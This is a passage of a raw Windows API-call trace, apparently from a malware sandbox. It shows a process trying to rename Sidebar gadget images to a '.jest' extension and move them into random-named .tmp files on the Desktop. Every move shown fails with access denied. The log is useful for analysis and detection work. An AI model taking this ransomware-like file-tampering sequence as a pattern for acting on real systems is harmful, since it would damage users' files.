[0126.373] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.373] GetLastError () returned 0x0 [0126.373] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.373] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.373] GetLastError () returned 0x0 [0126.373] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.374] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.374] GetLastError () returned 0x0 [0126.374] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.374] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.374] GetTickCount () returned 0x11520ab [0126.374] GetTickCount () returned 0x11520ab [0126.374] GetTickCount () returned 0x11520ab [0126.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.374] GetTickCount () returned 0x11520ab [0126.374] IsWindowVisible (hWnd=0x30268) returned 0 [0126.374] Sleep (dwMilliseconds=0x0) [0126.375] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png.jest")) returned 0 [0126.377] GetLastError () returned 0x5 [0126.377] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬浳⹬湰g") returned 0x4d [0126.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.377] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬浳⹬湰g") returned 0x4d [0126.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x14cf24c, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png") returned 78 [0126.377] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬浳⹬湰⹧敪瑳") returned 0x52 [0126.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.377] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬浳⹬湰⹧敪瑳") returned 0x52 [0126.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=83, lpWideCharStr=0x1445ffc, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png.jest") returned 83 [0126.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", lpUsedDefaultChar=0x0) returned 78 [0126.377] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", lpFilePart=0x18e6d8*="dial_sml.png") returned 0x4d [0126.377] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94760f7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94760f7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94b1a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x57, dwReserved1=0x0, cFileName="dial_sml.png", cAlternateFileName="")) returned 0x143ce48 [0126.378] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.379] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.379] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xf8)) [0126.379] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xf8)) [0126.380] GetUserDefaultLCID () returned 0x409 [0126.380] VarBstrFromR4 (in: fltIn=0x47944520, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.25") returned 0x0 [0126.380] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.380] GetTickCount () returned 0x11520ab [0126.380] GetTickCount () returned 0x11520ab [0126.380] GetTickCount () returned 0x11520ab [0126.380] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.380] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.380] GetTickCount () returned 0x11520ab [0126.380] IsWindowVisible (hWnd=0x30268) returned 0 [0126.380] Sleep (dwMilliseconds=0x0) [0126.381] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.381] GetFullPathNameA (in: lpFileName="ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp", lpFilePart=0x18e708*="ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp") returned 0x8f [0126.382] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png", lpFilePart=0x18e708*="dial_sml.png") returned 0x4d [0126.382] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ieutiyc6b2vozg9d9pfasg965qf0_upefdugqkplfxqogeigldbrcp5okimbtdojkvzdfjbqmkp4q8s907jax-i25rtv bjie3 fy.tmp")) returned 0 [0126.383] GetLastError () returned 0x5 [0126.383] GetLastError () returned 0x5 [0126.383] SetLastError (dwErrCode=0x5) [0126.383] GetLastError () returned 0x5 [0126.384] SetLastError (dwErrCode=0x5) [0126.384] GetLastError () returned 0x5 [0126.384] SetLastError (dwErrCode=0x5) [0126.384] GetFullPathNameA (in: lpFileName="ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp", lpFilePart=0x18e6e4*="ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp") returned 0x8f [0126.384] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ieUtIYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x74556569, cFileName="IYC6b2VoZG9D9PfAsG965qF0_upefDugQKPlFXQOGeiGlDbRcp5OkiMbtDoJKVzdFJbQmkp4q8S907JAX-I25RtV bjIE3 Fy.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.384] GetLastError () returned 0x2 [0126.384] GetLastError () returned 0x2 [0126.384] SetLastError (dwErrCode=0x2) [0126.384] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.384] GetLastError () returned 0x0 [0126.385] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.385] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.385] GetLastError () returned 0x0 [0126.385] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.385] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.385] GetTickCount () returned 0x11520bb [0126.385] GetTickCount () returned 0x11520bb [0126.385] GetTickCount () returned 0x11520bb [0126.385] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.385] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.385] GetTickCount () returned 0x11520bb [0126.385] IsWindowVisible (hWnd=0x30268) returned 0 [0126.385] Sleep (dwMilliseconds=0x0) [0126.405] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png.jest")) returned 0 [0126.407] GetLastError () returned 0x5 [0126.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥杜慬獳瀮杮") returned 0x4a [0126.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0126.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥杜慬獳瀮杮") returned 0x4a [0126.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=75, lpWideCharStr=0x144ddec, cchWideChar=149 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png") returned 75 [0126.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥杜慬獳瀮杮樮獥t") returned 0x4f [0126.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥杜慬獳瀮杮樮獥t") returned 0x4f [0126.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x144bb04, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png.jest") returned 80 [0126.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", lpUsedDefaultChar=0x0) returned 75 [0126.407] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", lpFilePart=0x18e6d8*="glass.png") returned 0x4a [0126.407] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb95347d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb95347d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb9b3d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x57, dwReserved1=0x0, cFileName="glass.png", cAlternateFileName="")) returned 0x143ce48 [0126.408] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.409] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.409] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x117)) [0126.409] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x117)) [0126.409] GetUserDefaultLCID () returned 0x409 [0126.409] VarBstrFromR4 (in: fltIn=0x47944524, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.28") returned 0x0 [0126.410] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.410] GetTickCount () returned 0x11520ca [0126.410] GetTickCount () returned 0x11520ca [0126.410] GetTickCount () returned 0x11520ca [0126.410] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.410] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.410] GetTickCount () returned 0x11520ca [0126.410] IsWindowVisible (hWnd=0x30268) returned 0 [0126.410] Sleep (dwMilliseconds=0x0) [0126.411] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.411] GetFullPathNameA (in: lpFileName="BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp", lpFilePart=0x18e708*="BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp") returned 0x8f [0126.411] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png", lpFilePart=0x18e708*="glass.png") returned 0x4a [0126.411] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjpktftndsfnd30qfp7-cevspn4rrs0opebzptz6muoinkbuw dkkrrbvrmn8lg7yxw6ce-ipspilfh5ov7ks_3stxdsmosxbom3v.tmp")) returned 0 [0126.413] GetLastError () returned 0x5 [0126.413] GetLastError () returned 0x5 [0126.413] SetLastError (dwErrCode=0x5) [0126.413] GetLastError () returned 0x5 [0126.413] SetLastError (dwErrCode=0x5) [0126.413] GetLastError () returned 0x5 [0126.413] SetLastError (dwErrCode=0x5) [0126.413] GetFullPathNameA (in: lpFileName="BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp", lpFilePart=0x18e6e4*="BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp") returned 0x8f [0126.413] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BJpktFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6b704a42, cFileName="tFtnDsFnD30QFp7-cevspN4RRS0oPEbZPtz6MuOINKBUw DkkrrbVRmn8lG7YXW6cE-IPsPilFh5ov7Ks_3STXDsMOSXbom3V.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.413] GetLastError () returned 0x2 [0126.413] GetLastError () returned 0x2 [0126.413] SetLastError (dwErrCode=0x2) [0126.414] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.414] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.414] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.415] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.415] GetLastError () returned 0x0 [0126.415] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.415] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.415] GetTickCount () returned 